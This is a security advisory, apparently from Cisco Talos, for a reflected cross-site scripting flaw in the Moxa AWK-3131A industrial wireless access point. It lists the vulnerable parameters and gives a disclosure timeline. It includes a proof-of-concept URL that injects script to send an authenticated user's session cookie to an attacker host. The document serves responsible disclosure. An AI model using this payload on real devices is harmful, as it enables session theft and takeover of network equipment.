An exploitable reflected Cross-Site Scripting vulnerability exists in the Web Application functionality of Moxa AWK-3131A Wireless Access Point running firmware 1.1. Specially crafted input, in multiple parameters, can cause a malicious scripts to be executed by a victim.
Moxa AWK-3131A Series Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client 1.1
7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
An exploitable Reflected Cross-Site Scripting (XSS) vulnerability exists in the Web Application functionality of Moxa AWK-3131A Series Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client. Specially crafted input, in multiple parameters, can cause a malicious scripts to be executed by a victim.
The following parameters have been validated as being vulnerable to XSS exploitation: - devIndex parameter in client_list.asp - devIndex parameter in multiple_ssid_set.asp - index parameter in wireless_cert.asp - vapIndex parameter in wireless_security.asp
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Stealing Session Tokens The URL below will send an authenticated user’s valid session token to the attacker:
http://<device IP>//wireless_cert.asp?index=?index=%22%3E%3Cscript%3Ewindow.location=%22http://<attacker IP>/test?cookie=%22.concat%28document.cookie%29%3C/script%3E
To significantly mitigate risk of exploitation, disable the web application before the device is deployed.
2016-11-14 - Vendor Disclosure
2017-04-10 - Public Release
Discovered by Patrick DeSantis of Cisco Talos.